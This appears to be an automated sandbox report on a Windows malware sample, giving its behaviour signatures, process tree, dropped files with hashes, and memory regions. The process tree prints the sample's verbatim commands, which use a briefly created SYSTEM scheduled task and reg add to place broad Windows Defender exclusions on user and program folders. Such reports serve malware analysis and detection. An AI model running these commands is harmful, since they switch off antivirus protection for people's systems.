Analysis

  • max time kernel
    600s
  • max time network
    603s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    14/11/2026, 17:15

General

  • Target
    deepsk_x64.in.07.exe
  • Size 30.8MB
  • Sample261114-vsrbqsbt7z
  • SHA256 3508ff0f60393da94291896fc95c23832322b57cf228d599911c33c493b7e7a7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Windows security bypass 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\deepsk_x64.in.07.exe
    "C:\Users\Admin\AppData\Local\Temp\deepsk_x64.in.07.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:5048
  • C:\Users\Public\oba8md\wbwPRH.exe
    C:\Users\Public\oba8md\wbwPRH.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3760
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\oba8md\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1932
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\oba8md\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2576
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4524
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3208
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2532
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2504
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2432
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4504
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2228
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2180
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3916
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2500
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4860
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2828
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3932
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1560
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1944
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3028
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1516
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2988
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\oba8md" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2544
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\oba8md" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:2664
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4288
                        • C:\Users\Public\oba8md\wbwPRH.exe
                          "C:\Users\Public\oba8md\wbwPRH.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:3748
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4416
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:884
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2456
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4576
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4428
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3144
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2856
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1176

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\oba8md\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 e008392970b06b6c93625a9dd970391ccb4241ace88a17a0835dfb855585818b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\oba8md\adoresd.dat
                              • Size 4.8MB
                              • SHA256 2c09dc648efdb356459465f5aaf34bb8df5250bceab8039d12f58874f906c36a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\oba8md\msadox.tb
                              • Size 8KB
                              • SHA256 8036d5b2af08e87e609f4283e151eab593ed021865246577c7b9d76c45989d92
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              wbwPRH.exe

                              • Path C:\Users\Public\oba8md\wbwPRH.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3748-577-0x00000204AA3B0000-0x00000204AAC87000-memory.dmp

                              memory/3748-582-0x00000204AA3B0000-0x00000204AAC87000-memory.dmp

                              memory/3748-571-0x00007FFB6A580000-0x00007FFB6AA9E000-memory.dmp

                              memory/3748-585-0x00007FFB7A6D0000-0x00007FFB7A6D2000-memory.dmp

                              memory/3748-584-0x00000204AA3B0000-0x00000204AAC87000-memory.dmp

                              memory/3748-576-0x00007FFB7A6E0000-0x00007FFB7A6E2000-memory.dmp

                              memory/3748-574-0x00000204AA3B0000-0x00000204AAC87000-memory.dmp

                              memory/3748-583-0x00000204AA3B0000-0x00000204AAC87000-memory.dmp

                              memory/3748-581-0x00000204AA3B0000-0x00000204AAC87000-memory.dmp

                              memory/3760-547-0x00000222A34F0000-0x00000222A3DC7000-memory.dmp

                              memory/3760-566-0x00000222A34F0000-0x00000222A3DC7000-memory.dmp

                              memory/3760-539-0x00007FFB7A6E0000-0x00007FFB7A6E2000-memory.dmp

                              memory/3760-544-0x00000222A34F0000-0x00000222A3DC7000-memory.dmp

                              memory/3760-545-0x00000222A34F0000-0x00000222A3DC7000-memory.dmp

                              memory/3760-531-0x00007FFB7A6D0000-0x00007FFB7A6D2000-memory.dmp

                              memory/3760-546-0x00000222A34F0000-0x00000222A3DC7000-memory.dmp

                              memory/3760-551-0x00000222A34F0000-0x00000222A3DC7000-memory.dmp

                              memory/3760-561-0x00000222A43C0000-0x00000222A444A000-memory.dmp

                              memory/3760-556-0x00000222A34F0000-0x00000222A3DC7000-memory.dmp

                              memory/3760-562-0x00000222A43C0000-0x00000222A444A000-memory.dmp

                              memory/3760-540-0x00000222A34F0000-0x00000222A3DC7000-memory.dmp

                              memory/3760-560-0x00000222A43C0000-0x00000222A444A000-memory.dmp

                              memory/3760-559-0x00000222A43C0000-0x00000222A444A000-memory.dmp

                              memory/3760-558-0x00000222A42E0000-0x00000222A432E000-memory.dmp

                              memory/3760-537-0x00000222A34F0000-0x00000222A3DC7000-memory.dmp

                              memory/3760-532-0x00007FFB6A580000-0x00007FFB6AA9E000-memory.dmp

                              memory/5048-0-0x0000000000530000-0x000000000053E000-memory.dmp

                              memory/5048-526-0x00007FFB73600000-0x00007FFB73610000-memory.dmp

                              memory/5048-525-0x0000000000530000-0x000000000053E000-memory.dmp

                              memory/5048-505-0x00007FFB73600000-0x00007FFB73610000-memory.dmp

                              memory/5048-504-0x00007FFB73600000-0x00007FFB73610000-memory.dmp

                              memory/5048-2-0x0000000002020000-0x000000000202C000-memory.dmp

                              memory/5048-1-0x0000000000530000-0x000000000053E000-memory.dmp